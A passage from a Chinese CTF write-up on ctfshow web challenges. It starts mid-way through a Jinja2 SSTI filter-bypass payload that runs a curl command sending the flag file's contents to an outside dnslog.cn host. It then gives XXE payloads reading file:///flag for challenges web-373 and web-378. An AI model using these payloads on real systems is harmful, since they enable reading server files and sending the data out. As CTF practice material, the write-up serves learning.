p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(fgpozq=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}atao{%endif%}

总结

越看越乱了,真实场景应该没那么多需要fuzz的。思路是最重要的。

XXE

web-373

1
2
3
4
5
6
file_get_contents('php://input'):获取客户端输入的内容
new DOMDocument():初始化XML解析器
loadXML($xmlfile):加载客户端输入的XML内容
simplexml_import_dom($dom)获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE。
$xxe=$xml->xxe:获取SimpleXMLElement对象中的节点XXE
echo $str:输出XXE内容。
1
2
3
4
5
6
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<daigua>
<ctfshow>&xxe;</ctfshow>
</daigua>

web-378

1
2
3
4
<!DOCTYPE test[
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>1</password></user>

中间的题目全部都先忽略了,还是因为没有VPS,可以选择自己买一个或者去本地复现漏洞。

给出 quan9i师傅的文章吧:https://tttang.com/archive/1716